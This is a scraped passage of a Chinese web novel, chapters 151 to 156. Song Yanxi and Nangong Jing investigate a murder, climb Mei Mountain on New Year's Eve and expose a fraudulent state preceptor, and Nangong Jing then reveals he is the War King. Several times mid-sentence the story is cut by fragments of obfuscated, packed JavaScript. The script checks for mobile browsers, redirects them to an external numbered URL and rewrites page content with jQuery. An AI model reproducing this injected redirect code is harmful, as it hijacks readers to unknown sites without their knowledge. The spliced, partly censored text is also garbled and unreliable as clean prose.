“你为什么要**呢?是不是有人威胁你了?你快和裴少卿说清楚啊,如果真是受了威胁,只要你供出那个幕后主使,秦少卿一定会……”秦廉的声音有些急切。 “秦廉,你少在这假惺惺的?要不是因为你,我会被抓住吗?那两个人就是我杀的,我没什么可说的。” ***很快就被带了下去,秦廉却还在呆愣当中。 “秦公子,你和***很熟?”宋颜夕从暗处走出,问道。 “我和他,认识三年了。” 他们都是达官贵族家中庶子,生来便无法继承家业,而且,还常常受嫡子打压。 为了打消嫡子的猜忌,他们索性常年泡在弦歌舫,当起了游手好闲的二世祖。因为处境相似,又有相同的喜好,秦廉和***关系不错。 也正是因为如此,当秦廉得知***要杀他的时候,才会这般萎靡。 “你相信***会**吗?” 秦廉猛地抬起头:“绝对不可能。别看他平日里装出一副纨绔子弟的样子,其实,那都是装给他大哥看的。有一回,我曾经看见他背一个伤了腿的乞儿回家,还偷偷给那乞儿找大夫……总之,他是一个很好的人。” 宋颜夕和南宫景交换了一个眼神。 这么说的话,此事莫非还另有隐情? 就在此时,楼下忽然传来一阵骚动。 裴子耽的手下匆匆跑来:“启禀公子。***,**。” 第151章:吸引火力 ***的确**,而且是死在很多人面前。 “你说,他当时像是发疯了一般,整双眼都是红的?”宋颜夕问。 裴子耽点头:“没错,他当时的反应,就像是中邪了一般,而且力气忽然变得很大。我的人一时不察被他挣脱开去。当我们试图制服他的时候,他已经举剑自刎了。” “这样的症状,我似乎在哪儿见过。” 宋颜夕陷入沉思,很快,她脑海中闪过一个画面。 “李梦安。” “梦安郡主?” 裴子耽:“确实听闻梦安郡主得了怪病,但已经被蒋公子治愈了啊。莫非,她当时也是……” 他的话没有说完,但已经从宋颜夕的眼神中得知了答案。 “如此看来,这件事怕是没这么简单。” 宋颜夕朝南宫景使了个眼色:“是时候会一会李梦安了。” 在***的住处,他们在暗格里找到了一个研磨冰针的器皿,而且,在搜到了一封“认罪书”,上面交代了他翻案的所有细节。 因为从小遭受嫡长兄压迫,***早已厌弃这个世界。 他有很严重的**倾向。 而这,也是促使他无差别**的**。 “***就因为这个厌恶那些权贵子弟?死也要拉些垫背的?” 宋颜夕冷哼一声:“有这个能耐,怎么不杀了那个一直压迫他的人?” “所以,你认为此事有诈?”南宫景问。 “是与不是,得继续查下去才知道。” 站在一旁的裴子耽朝她拱了拱手:“宋姑娘放心,此案,大理寺会继续跟进。” 因为没有更多线索,他们只能将弦歌舫解封。 回府的时候,天边已经泛起鱼肚白。 “姑娘,你可算是回来了。” 刚走到门口,就看紫翎神色匆匆跑了过来。 “听说弦歌舫出了命案,姑娘,您没事吧?” 宋颜夕拍了拍她的手:“你姑娘我能出什么事啊?那件事办得如何了?” 两人有说有笑地朝前走,南宫景下意识跟了上去。 等到宋颜夕回了房,紫翎却重重把门关上,关门的时候还给了南宫景一个警告的眼神。 “王爷,紫翎姑娘好像很不待见你啊。” 林昊不知从哪儿冒了出来,提到紫翎,他的眉头忍不住皱在一起。 南宫景扫了他一眼:“还不是你捅的娄子吗?” “王爷,冤枉啊。属下当初也是想为您和王妃制造机会,谁能想到弄巧成拙了呢。” “不管你用什么办法,都给我把她解决了。” 林昊面露苦瓜色:“那个紫翎剁起手来眼睛都不眨一下,王爷,您该不会真的要我献身吧?” 弦歌舫的事情引起很大的轰动,南宫景回府没多久就接到皇帝的旨意,邀他进宫一叙。 而宋颜夕也在为回丞相府的事忙碌着。 准备就绪后,她将回府的日子定在大年初二。 当南宫景从宫中出来的时候,府上已经挂起了红灯笼。 来到后院,正好看见宋颜夕站在园中的梅花树下。 “看什么呢?” 他将披风解下,披在宋颜夕肩上。 宋颜夕愣了一下,却并没有解下披风:“看他们挂灯笼啊,明日便是元日了吧。” “是啊。” 南宫景与她并肩而立,微微侧身看向她:“今夜,你我一同守岁,如何?” “不用去陪你的杨姑娘吗?” “我说了,她不是我的意中人。” “跟我还遮遮掩掩什么?难道,你还怕咱们合作谈崩了,我会拿你意中人威胁你?” 南宫景忽然笑了:“怎么,宋姑娘对咱们的合作就这么没信心?” “世间之事瞬息万变,未来的事,谁知道呢?” 南宫景转移话题:“方才见你的两个小丫鬟在收拾东西,是准备回相府了?” “就在初二。” “可需要我帮忙?” “不用,已经准备得差不多了。” 二人有一搭没一搭地聊着,天空中不知何时飘起了洋洋洒洒的雪花 南宫景伸手在宋颜夕头上挡了挡。 宋颜夕正好转过头来:“你干什么?” 南宫景顺手弹去她发髻上的雪花:“落雪了,不如去我屋里坐坐?” “你想让我去你屋里?” 宋颜夕后退一步:“该不会有什么阴谋吧?” “宋姑娘莫非是,怕了?” “笑话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498429|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本姑娘会怕你?” 宋颜夕大手一挥,直接朝他屋子的方向走去,拿着氅子赶来的紫翎见此,抬腿就朝宋颜夕那边跑去。 “紫翎姑娘,有你的信。” 正在此时,林昊伸手拦下了她。 在他指尖,还捏着一张泛黄的纸。 紫翎接过那封信,看了几眼,很快就变了脸色:“这信哪里来的?” 林昊随手一指:“就夹在门口的石狮子上,看你脸色不对,难道,写信之人与你有仇” 紫翎将信捏碎:“岂止是仇人啊。” 见她咬牙切齿地离开,林昊摸了摸鼻梁:“兄弟,别怪我。王爷让我解决紫翎姑娘,只能让你吸引火力了。” 屋子里,宋颜夕靠在一旁取暖,南宫景则坐在案几前处理公文。 “你看起来,挺忙的。” 宋颜夕捏了块糕点塞在嘴里,眼睛却在看着案几上那垒得高高的公文。 闲散王爷也有这么多公文需要批阅吗? 似是看出了她的心思,南宫景抬头看向她:“有没有可能,我根本就不是你口中那位闲散王爷呢?” “我知道,你是暗中蛰伏的狐狸嘛。” 说着,宋颜夕直接走到他面前问道:“你如此这般,指是为了在皇权争斗中活下去?还是,想要爬到更高的位置上呢?” 说着,她做了个指天的动作。 “宋姑娘认为呢?” 二人四目相对,都想从对方眼中探究什么。 最终,还是宋颜夕先别开眸子:“我怎会知道呢?我这人啊,惜命,若王爷要干什么危险的事,我可不得早日和你划清界限嘛。” 南宫景不怒反笑:“宋姑娘未免也太无情了些,咱们好歹是盟友。” “所以啊,你走夜路的时候最好小心一些,若是踩空了,本姑娘可不拉你。” 说完,宋颜夕继续回到炉子旁坐下,慵懒地看向窗外的落雪。 笔尖的墨滴落在宣纸上,晕开玄色花朵。南宫景忍不住将嘴角咧开一个好看的弧度。 所以,这丫头是在担心他吗? 她也没有表面上那般对他不屑一顾嘛。 用过午膳,南宫景向宋颜夕提出要去梅山赏梅。 马车行到一半,绳索却忽然断了。 第152章:拜月 宋颜夕拄着根棍子往山上走,一边走一边碎碎念。 “好端端来梅山赏什么梅?按照你们东越习俗,今夜不应该留在府中守岁的吗?” 面红耳赤的她并没有发现自己这句话的不妥。 南宫景也佯装没听出来,只是不紧不慢地跟在她身侧:“时间还早,等回去再守岁也是来得及的。咱们抓紧时间登顶,赏梅要紧。” “你院中不也栽了梅花吗?何必非要跑到这梅山来?梅山到底有什么啊?” “有姻缘树啊。”南宫景答道。 宋颜夕脚步一顿:“所以,你把我拽出来就是为了求姻缘?求姻缘你带杨姑娘来啊,拉我来做甚?” “一来,杨姑娘家中有丧事。再者,我求姻缘,与杨姑娘何干?” 宋颜夕扯了扯嘴角:“你就装吧?真以为我瞧不出你的小心思吗?” 这家伙暗中蛰伏,必然树敌不少。此番行为,肯定是拿她当挡箭牌。 表面上,他对那位杨姑娘冷淡得很,实则,是为了保护她。 这种套路,她曾偶然间在话本子上见过。 呵,这天底下的男人啊,果然都是一样的。 “你这小脑袋瓜又在想什么呢?” “没想什么,都走了这么久,怎么还没到啊。我记得上回来的时候,也没这么远啊。” “累了?”南宫景问。 宋颜夕喘着粗气:“你认为呢?” 谁家好郎君在这大冷天拽着姑娘爬雪山啊。 若是以前倒也不成问题,但这具身子终究是娇弱得很。练了这么久,体能仍不足前世十分之一。 南宫景却忽然在她面前蹲了下来。 “你这是做甚?”宋颜夕问。 “不是累了吗?我背你。” “你要,背我上山?” 南宫景点头:“既然是我邀请宋姑娘登山赏梅,自然要对你负责。” 宋颜夕几乎没有任何思考就直接趴在他的背上。 有人愿意当牛马,她若是不领情,岂不是傻子? 沾沾自喜的宋颜夕没有发现,身下的南宫景笑得像一只得逞的狐狸。 “我说王爷好端端叫咱们弄断马绳做什么,原来在这等着宋姑娘呢。” 不远处,林昊和左翼暗中观察,得出结论。 “左翼,你会不会觉得,王爷太阴险了?” 左翼面不改色:“王爷的决定,都是正确的。” “可我觉得宋姑娘对咱们王爷好像没有那方面心思啊,不如,咱们找个机会探探风?或者,咱们做个局,让王爷英雄救美?” “你若想死,我不拦着。” “左翼你也太无趣了,你就不希望王爷早日抱得美人归吗?” 二人一直远远跟着,没敢靠得太近。 走了许久,终于在山顶见到了那棵姻缘树。 因为雪天路滑,除了宋颜夕二度来此之外,几乎没什么人会在这个季节来求姻缘。 南宫景指着树上最新的那条红丝带,问道:“那便是宋姑娘上回所求?” “大概,是的吧。” 宋颜夕没什么印象。毕竟上次只是为了套路宋婉儿,她随便写了两句话就将那红丝绸挂上了。 南宫景将她放下,足尖一点就跳上去将那红丝带扯了下来。 因为太过用力,红丝带钩在树梢,直接被撕裂成两半。 “哎呀,真是抱歉宋姑娘。” 南宫景一脸歉意看向她:“我也是头一回求姻缘,没什么经验。原本是想瞧瞧宋姑娘是如何写的。没想到,一时不慎扯破了。” 宋颜夕不以为意:“破了便破了吧,你赶紧写赶紧挂,挂完赶紧下山。” “那可是你和柳如风的姻缘绳,当真没关系吗?不如,我赔你一条?” 南宫景说着,还真从怀中取出一条红丝带塞在她手里。 宋颜夕咋舌:“你还备了两条?” “奥,我怕写错了,就多准备了一条。你看,我连笔墨都带来了。” 说着,南宫景又从怀中掏出砚台和毛笔、墨条。 “七光砚?” 宋颜夕是越来越看不懂南宫景了:“工具带得够齐全的啊。” “来,这个给你。写吧。”南宫景将其中一条红丝带递给她。 宋颜夕:“我又不求姻缘,写这作甚?” “来都来了,就当是打发时间嘛。” 说罢,南宫景就低头写了起来。 也不知他写了什么,那模样,瞧着还挺虔诚。 宋颜夕探过头去,想要看看他究竟写了什么。结果,一个字都还没看到,就被他挡住了。 “怎么,还不能让人看啊?”宋颜夕调侃。 南宫景一脸正色:“看了就不灵了。” “不看就不看。” 宋颜夕走到另一边,没过多久,又转身抽走南宫景手中的笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此想着,宋颜夕已经默默掏出银针捏在指尖。 第153章:神女显灵 “这是西菱的习俗,这些年,我在边疆和西菱人交过手,所以,才会研究他们的习俗。这个啊,就叫知己知彼,百战百胜。” 宋颜夕:“你还去过边疆?” 她的情报里怎么没有这一条? “对啊。” 南宫景拉着宋颜夕重新坐下:“这么些年都是按照东越的习俗守岁,今年,我想玩些不一样的。” 宋颜夕将银针收起来:“你知道怎么**月神吗?” “虽然不一定对,但,我的确是学过的。不如,我来教你?” 宋颜夕看向远方:“你还是先让月亮升起来吧。” “这有何难?” 南宫景放出一支信号箭,天边顿时炸开一朵烟花。 当烟花落尽,天边竟然隐约升起了一轮明月。 除夜的月如镰刀一般,但今夜的月,却如银盘一般圆满。 这是宋颜夕头一回在除夜见到圆月。 说不震撼,那是假的。 “你是怎么做到的?”宋颜夕站起身,眼中闪烁着激动的光。 “我说了,要相信奇迹。” 南宫景握住宋颜夕的手,“现在,我来教你**月神。” 说是**,其实是一支拜月舞。 宋颜夕从小跳到大,自然对舞步十分熟悉。令她不解的是,南宫景似乎也对这支舞并不陌生。 “跳得不错嘛,看来,我是个合格的师父。”南宫景的语气轻柔,眼中满是赞许。 宋颜夕别过头去:“那是本姑娘天赋高。” 一舞毕,不远处传来打更声。 南宫景后退半步,便宋颜夕作揖,道:“但入新年,愿宋姑娘,日有熹,月有光,富且昌,寿而康。春祺夏安,秋绥冬宁。” 宋颜夕眼睛一热,许久没有说话。 重活一世,没想到,竟然还能有人与她月下祈福。 回去的路上,宋颜夕心情大好。非要拉着南宫景喝酒庆祝新年。 “宋姑娘,你这酒量,还是别喝了。” 南宫景夺过她手中的酒壶。 “我都说了我千杯不醉,你是不是不相信我?” 南宫景扶额:“你是对自己的酒量有什么误解吗?” “唬你的,今日过节,小酌即可。” 宋颜夕一边说,一边抢走他手中的酒壶,“醉不了。” 自从醉了几次之后她便明白了,她那引以为傲的酒量,已经随着前世那具身体一道消失了。 南宫景见她开心,也不再与她争论,任由她喝去了。 左右有他在,也出不了什么幺蛾子。 然而,他们都还是高估了宋颜夕的酒量,也低估了她醉酒的本事。 喝了两口之后,宋颜夕便嚷着要吃糯米团子。 等到南宫景买了团子回来,宋颜夕手中的酒瓶已经见了底。 最后,她竟是直接闯入了百姓家中。 “今日高兴,本帝打算与民同庆。来,举起你们手中的杯子,一起干了。” 说罢,她右手握成空拳,比了个喝酒的姿势。 正在吃隔岁饭的百姓:??? 南宫景捏了捏眉头,直接将宋颜夕扛在肩上往回走。 “你干嘛?放我下去?我告诉你啊,你胆敢对本帝无礼,信不信本帝砍了你的脑袋?” “动不动就**脑袋?你是昏君吗?” 宋颜夕甩了甩脑袋:“昏君?不不不,本帝才不是昏君呢。我答应过母皇,要做明君的……” “好,你是明君。”南宫景哄着她。 “呜呜呜,你说得对,我就是昏君。我没有完成母皇的遗命,不仅引狼**,还把皇位弄丢了。我就是个废物,母皇不该把皇位传给我的。”宋颜夕开始啜泣。 南宫景脚步一顿,将她放了下来。 “谁说你是废物的?” 南宫景擦去她眼角的泪:“你登基以来,减赋税,轻徭役,兴修水利,为了国事废寝忘食……在你的带领之下,你的子民们过得很好。这样的你,又怎么会是无能的昏君呢?” “这些,你怎么知道?你该不会是在,偷窥我吧?” 宋颜夕脚步不稳,差点儿摔在地上。 南宫景眼疾手快扶住她:“嗯,偷窥了很多年了。” “大胆刁民,竟敢偷窥本帝?” 宋颜夕单手指向他:“老实交代,你是不是和巫黛一伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507880|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?” “我是和你一伙的。” 南宫景揽过宋颜夕的腰,让她不至于站立不稳摔在地上,“女帝陛下,我,心悦你。” …… 第二天,宋颜夕是忍着剧烈的头疼醒来的。 “怎么晕的厉害呢?” 宋颜夕揉着脑袋,怎么都想不起昨夜发生了什么。 紫翎也不知道干什么去了,等她醒来的时候,紫翎都还没回来。 是春分伺候她洗漱的。 等到她穿戴整齐,紫翎才风尘仆仆地走了进来。 “紫翎?你干什么去了?”宋颜夕问。 紫翎欲言又止,最后,只说了一句:“追贼去了。” “追到了吗?”宋颜夕又问。 “被他跑了。” 宋颜夕问到这儿就没再问了,只让她下去洗漱一番。 按照东越习俗,皇帝需要在元日这天赴九台山祈福,而且,会在九台山斋戒五日。 与往日一样,皇帝的仪仗队一大早就出了城。 用完早膳后,宋颜夕也带着紫翎和春分离开了别院。 “王爷,她们就这样走了?需不需要属下……” 南宫景轻轻“嗯”了一声:“派人暗中跟着,必要时,帮她一把。” 就在皇帝祈福时,九台山忽然升起烟雾。 烟雾中,有一穿着琉璃仙裙的女子坐在莲花座上踏风而来。 “是神女,神女显灵了。”不知是谁说了一句。 此后,所有人都开始附和,无外乎就是称颂皇帝治国有方,得天神赐福。 而当烟雾散尽之后,第一个惊掉下巴的,就是宋章。 “彩衣,怎么是你?” 年轻的帝王看向宋章,眼中意味不明:“宋相此话何意?莫非,你认得神女?” “她……” 宋章欲言又止,最后直接在皇帝面前跪了下来:“陛下恕罪,她并非神女,而是老臣那顽劣不堪的二女儿。” “竟然是宋丞相的千金?” “陛下小心,这可是祸国妖孽啊。” 一时之间,群臣将皇帝紧紧护在其中。无数双眼睛警惕地盯着宋颜夕。 第154章:国师,行大礼? “此事,朕也略有耳闻。宋二姑娘不是消失了吗?怎么又忽然出现了?” 皇帝拨开人群,直接走到宋颜夕面前,饶有兴致地看着她。 这就是皇叔护着的那个女子? 确实是生得极美。 不过,美艳的女子他见得多了。 他很好奇,此女究竟有什么能耐,能让他那位禁欲多年的皇叔为她破例。 宋颜夕却是瞧着一脸无辜的样子,她打量着周围的人,似乎不明白发生了什么。 “彩衣,陛下问话,还不跪下!”宋章在旁边喊了一句。 “哎,无妨无妨。” 皇帝摆了摆手,又朝宋颜夕走近了几步。 群臣立刻拦住他:“陛下小心,这可是祸国妖孽啊。” 皇帝却朗声一笑:“朕瞧着宋姑娘双眼澄澈,哪里是什么祸国妖孽。诸位爱卿,还不快速速让开?” 最后几个字,皇帝的声音有些沉。 群臣一听,立刻后退几步给他让出一条路。 “宋二姑娘这些时日去了何处?何故踏莲而来?”皇帝问。 宋颜夕看向那个年轻的帝王,心中暗道:没想到这东越帝王竟然如此“亲民”,她先前准备舌战群雄的那些话语好像都用不上了。 她微微垂下眸子,道:“回陛下的话,臣女也不知究竟发生了什么。那日国师带臣女上刑场,臣女只觉得眼前闪过一道金光,醒来时,便发现自己身处蓬莱仙境。” “蓬莱仙境?” 皇帝饶有兴致:“那儿都有什么?” “仙境霞光笼罩,山峦青翠,虚幻缥缈……” “你的意思是,当日是仙人救了你?今日这莲台宝座也是仙人赠与你的?” 宋颜夕低声答道:“确实如此。仙人还说,臣女有仙根,待了却凡尘之后,便可再到仙境修炼,得道成仙。” “一派胡言!” 宋颜夕正说着,耳边忽然响起一道愠怒的声音。 本该主持祈福大典的国师因为楚王使绊子,姗姗来迟。 刚来就听到宋颜夕这一番说辞。 “国师,你迟到了。” 面对国师的时候,皇帝没了方才的好脾气,反而还带着一些显而易见的厌恶之色。 宋颜夕偷笑,果然如情报所说,这位年轻的帝王并不喜欢这个神棍。 察觉皇帝脸色不对,国师立刻跪倒在地:“陛下明鉴,臣在出门前忽得天神指引,为参透天机,这才误了时辰。” “你也得了天神指引?” 皇帝的声音依旧冷冷的:“天神都说什么了?” “天神预言,今日的祈福法会有妖孽出现,还赐下法杖一根,命臣前来除妖。” 说罢,国师从身后掏出一根棍子。 那棍子想必是临时从山上捡的,棍子上还挂着青苔。 当他取出棍子的时候,皇帝忍不住嗤笑出声:“这便是你说的法杖?国师可知,欺君是何下场?” “臣不敢欺瞒陛下。陛下若不信,可让臣用此杖击打妖孽,妖孽自会现出原形。” “陛下,兹事体大,事关国运。不如就让国师验证一番?” “臣也觉得,应当请国师一验真伪。” “臣附议!” 皇帝却忽然看向宋章:“宋相觉得呢?” 宋章脸上换了好几种表情,最后,还是朝着皇帝跪了下去:“臣,没有意见。” “好,既然如此,便验一验吧。” 皇帝走到高台上坐下,单手撑腮看着下方。 他也正好借此机会看看,让皇叔如此上心的女子,究竟有何能耐。 国师起身,一步一步走近宋颜夕,手中的棍子直接指向她的额头。 “妖孽,还不速速现形。” 宋颜夕不仅丝毫不慌张,反而还朝国师笑了笑:“国师就这么确定,我是妖孽吗?” “本国师天眼所见,怎会有假!” 宋颜夕缓缓走下莲花座,朝皇帝的方向行了个礼:“敢问陛下,若国师一击之下,臣女未现出所谓的原形,又当如何?” “那自然就证明宋二姑娘你并非妖孽。” “如此,臣女斗胆请陛下做个见证。” 皇帝大手一挥,衣袖上的飞龙若隐若现:“若宋二姑娘当真清白,朕必当昭告天下,替你正名。” “臣女,多谢陛下!” 得到皇帝的承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512937|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,宋颜夕这才继续看向国师:“国师,动手吧。” 对于宋颜夕,国师并不手软。 他扬起那根棍子,重重朝宋颜夕身上打去。 就在棍子即将落下的时候,他忽然觉得手腕一疼。 棍子还没碰到宋颜夕,就已经“啪”一声掉在地上。 “孽障,你对我使了什么妖术?”国师脸色阴沉,紧紧捂住右手手腕。 宋颜夕莞尔一笑:“国师说的这是哪里话?小女子什么都没做啊。” 她看了掉在地上的棍子一眼,做恍然大悟状:“哦,我知道了。定是蓬莱岛的仙人不舍得我这无辜之人受此责打,故而出手相救。” “少拿仙人说事,今日,我必要你原形毕露。” 国师忍着痛,再次捡起棍子朝宋颜夕身上打去。 这一次,他用了十足的力气。 然而,那棍子却在距离宋颜夕一寸的地方停下了,无论他怎么用力,都无法让棍子在落下一分。 国师气得咬牙,额头上青筋暴起。 而宋颜夕呢,只是悠闲地站在那儿,如闲庭信步一般。 “国师,你究竟是打还是不打?陛下和诸位大人可都看着呢。”她甚至出声催促。 “是啊国师,这时辰也不早了,朕还要祈福呢。”就连皇帝也不冷不**说了一句。 国师无奈,只能卯足了劲将那棍子朝宋颜夕的方向压去。 就在此时,宋颜夕后退一大步。 而那阻拦的力量也就此消失,因为来不及收回力道,国师连人带棍趴在地上。 倒下的时候,脑门正好磕在那根棍子上。 当他抬起头来,那青紫色的棍痕格外抢眼。 “哎呀国师,万不可行此大礼啊。”宋颜夕佯装惊慌,“你这样,可是折煞小女子了。” 此情此景,旁边已经有人忍不住笑出声来。 但考虑到皇帝在场,那人便又赶紧捂住嘴,将笑声生生压了下去。 “妖女休要猖狂,老夫今日必要收了你。” 眼看国师爬起来又要往宋颜夕身上招呼,身后忽然响起一道冷冽的声音:“我东越的国师,何时成了这跳梁小丑了?” 第155章:自爆身份 顺着声音的源头望去,只见一道身披玄色披风的身影从台阶下缓缓走了上来。 看到他的那一刻,宋颜夕忍不住蹙眉。 那张面具可太熟悉了。 不是说他从不参加这种活动吗?这家伙怎么也来了? 就在她疑惑之时,坐在高台上的皇帝也开口问道:“皇叔今日怎么也对九台山祈福感兴趣了?” 皇帝自然知道他是为何而来,不过,还是忍不住调侃一下。 南宫景的语气淡淡的,让人听不出情绪:“闲来无事,便来瞧瞧。” 说罢,他的目光落在宋颜夕身上:“这不是宋家二姑娘吗?她怎么也在此?” “启禀战王,宋二姑娘是踏着莲花宝座而来,据说,是得了蓬莱仙人的指点呢。” 人群中,有人说了一句。 “蓬莱仙人?有点意思啊。” 南宫景走到宋颜夕面前,不过这一次,眼睛却是盯着国师:“国师此番又是为何?” 国师脸色铁青,却还是朝南宫景拱手答道:“老臣奉旨除妖,还请战王殿下移步。” “你除你的妖,不必顾忌本王。” 南宫景不仅没有后退,反倒还命人抬了条椅子坐下,一副看好戏的做派。 宋颜夕的目光在他和国师之间流转,这二人,该不会联手坑她吧? 不过看样子,国师似乎也对南宫景的到来很是忌惮。 “国师不是要除妖吗?还愣着干什么?” 南宫景捏了捏手指,意有所指,“需不需要本王助你一臂之力?” “不必劳烦战王殿下。” 国师定了定神,第三次朝宋颜夕身上打去。 “妖孽,速速现,现......” 话还没说完,国师忽然脸色一变,手中的棍子也再次落在地上。 这一次,他没能捡起棍子,而是捂着脖子在干呕。 “国师这是怎么了?该不会犯病了吧?”宋颜夕的眼中带着浓浓的关切之情。 “宋二姑娘多虑了,国师身体康健,福寿绵延,怎么会犯病呢?” 南宫景盯着那个没了胡子的老头,道,“想必,是在施法。” “原来是施法啊。” 宋颜夕面露喜色,竟是直接上前抓住了国师的手腕:“还请国师速速为小女子验明身份,也好让小女子早日与家人团聚。” 捏住他手腕的时候,宋颜夕不动声色地用磁石吸走了国师身上的银针。 “你这妖孽,看我不打死......”你。 最后一个字,他终究是没能说出来。 因为就在此时,国师的双眼已经变得通红,而且,脸颊上的皮肤竟然以极快的速度变黑。 “天呐,这是什么术法?好生可怕。” 宋颜夕顺势后腿几步,和国师拉开距离。 而此刻,国师已经彻底失去理智。 他如一头发疯的野兽朝人群中奔去,逮到人就咬。很快,嘴角就挂了一片猩红。 不仅如此,他甚至还跑上高台,朝着皇帝的方向奔去。 “国师疯了,他疯了。快保护陛下。” 一时之间,群臣如无头苍蝇一般四处逃窜。 南宫景看着这一幕,大喊一声:“急什么?有本王在,还能让这邪物伤了陛下不成?” 有了他这句话,逃窜的人群顿时安静下来。 所有人都看向南宫景,包括宋颜夕在内。 他甚至都没有做出大幅度动作,只是随手捡了块石子往国师身上一扔,刚刚还处于癫狂状态的国师就像个泄了气的球一样,软趴趴倒在地上。 “皇叔,幸好有你啊。” 皇帝拍着胸膛,看起来也是受了不小的惊吓。 他当即下令将国师押入天牢,而祈福仪式,也被拖到了第二日。 至于宋颜夕? 国师都已经疯魔了,那他先前所作的一切论述自然也就成了无稽之谈。 皇帝亲自颁下诏书,为宋颜夕正名。并且恩准她住在九台山,四日后随御驾一同回京。 一夜之间,“宋彩衣”这个名字成为了京中茶余饭后的谈资。 关于她与蓬莱仙境的因缘,也衍生出许多故事。 而此时此刻,宋颜夕正站在九台山的松柏之下,与南宫景面面相觑。 “你竟然是战王南宫景?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512938|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 国师的事情解决之后,南宫景直接对宋颜夕坦白。 当他揭下面具的那一刻,宋颜夕几乎不敢相信自己的眼睛。 “没错,我就是南宫景,也是你最忠实的盟友。” 后半句,他是贴在宋颜夕耳边说的。 宋颜夕一把推开他:“你这死贱男,离我远点。” “死贱男?” 南宫景扯了扯嘴角,相处这么久,这丫头还没放下对他的芥蒂吗? “其实,有些事情我是可以解释的。” “不如让我来猜猜看” 宋颜夕抬起手:“战王殿下运筹帷幄,想必也是不需要我这盟友的。既然如此,你当初找上我便该有别的原因,我说得对吗?王爷?” 南宫景点头:“我当初找你合作,确实有私心。” “这私心,与你让我找的那样东西可有关系?” 南宫景先是摇头,然后,又点了点头:“虽然事情还未明朗,但或许,是有关系的。” 与黑铁矿有关? 宋颜夕蹙眉,她当时不过是刚入京城的相府“庶女”,与国师更无恩怨,怎么可能会和黑铁矿扯上关系? 若真说有关系,便是那被盗走的黑铁矿有可能经巫黛的手流入了西菱。 可这个,与“宋颜夕”是没有关系的。 她目光微沉 难道说,她在郦阳城的时候露出了什么马脚,让这男人怀疑她了? “还有什么想问的,一并问了吧。” 见她许久没有反应,南宫景问了一句。 宋颜夕转身离开:“我问完了。王爷,告辞!” 走了几步,却见南宫景大步跟了上来。 “王爷跟着我作甚?” 南宫景:“你我之间可是盟友,如今那东西还没寻到,宋姑娘该不会赖账吧?” 宋颜夕反问:“以王爷的手段,找那东西还需要我的帮忙?” “自然。” “想来是咱们之前的调查方向出了差错。如今宋姑娘已经顺利回到相府,此事,还需要你多多费心。” 宋颜夕停下脚步:“你认为,那东西还在宋章手上?” 第156章:再回相府 宋颜夕并没有单方面中止盟约。 不过,在知道南宫景的身份之后,她更加坚定了要弄走那批黑铁矿的决心。 还没等她找宋章打探消息,宋章倒是先来找她了。 “彩衣啊,你受苦了。离京的这些日子,你过得还好吗?” 刚见面,宋章就和她上演了一出父慈女孝。 “有劳父亲挂心,蓬莱仙境什么都有,女儿自然是衣食无忧的。” “如此便好,如此便好啊。那日让国师将你带走,彩儿可还怨恨为父?”宋章试探着问道。 宋颜夕笑得大方得体:“女儿知道,父亲有自己的苦衷。如今女儿好不容易才归来,只祈盼能够常伴父亲身侧,以尽孝道。” “彩儿果然识大体。” 在九台山待了几日之后,宋颜夕便跟随祈福队伍一同回了京。 在这期间,她和南宫景再也没有私底下见过面。 “王爷,宋姑娘怎么不搭理你了?知晓您的身份之后,她难道不该巴结您吗?” 回城的路上,林昊终于忍不住问道。 南宫景语气淡淡:“她是那种会巴结人的人吗?” “倒也不像。但是王爷……” “这么闲?让你查的事情都查清楚了吗?” “确实有一些线索。” 林昊在南宫景耳边说了几个字,道:“要将人控制起来吗?” 